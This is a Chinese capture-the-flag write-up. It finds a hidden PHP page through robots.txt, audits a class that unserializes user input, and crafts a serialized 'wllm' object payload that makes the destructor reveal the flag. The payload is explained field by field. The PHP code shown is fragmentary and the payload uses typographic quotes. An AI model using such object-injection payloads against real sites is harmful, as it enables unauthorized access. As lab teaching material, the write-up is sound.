题目在哪呢?查看源代码试试
User-agent: *
Disallow: 什么东西呢
发现disallow
Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可抓,哪些页面不能抓。
disallow就是爬虫不能搜索的所以我们去看看robots.txt
看到/cl45s.php,直接打开
接下来就是 php代码审计
admin ="user"; #指定admin的值为user $this->passwd = "123456"; #指定passwd的值为123456 } public function __destruct(){ #destruct当对象要销毁时调用 if($this->admin === "admin" && $this->passwd === "ctf"){ #if判断 admin的值是不是admin passwd的值是不是ctf include("flag.php"); #include包含flag 当if判断成立时执行 echo $flag; #输出flag }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } }} $p = $_GET['p']; #get方法获取p并赋值unserialize($p); #对p进行反序列化 ?>
简单构造一下(当然了 也可以手搓)
admin ="admin"; $this->passwd = "ctf"; }} $p = new wllm();echo serialize($p);
p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}
解释一下:
O:4:”wllm”:2:
O就是object对象的意思,4代表着对象的函数名为4个字节
2表示对象中有俩个变量(不同魔法函数,结果不同)
{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}
大括号里s代表string类型还有i是int型;
前者为变量 后者为变量的值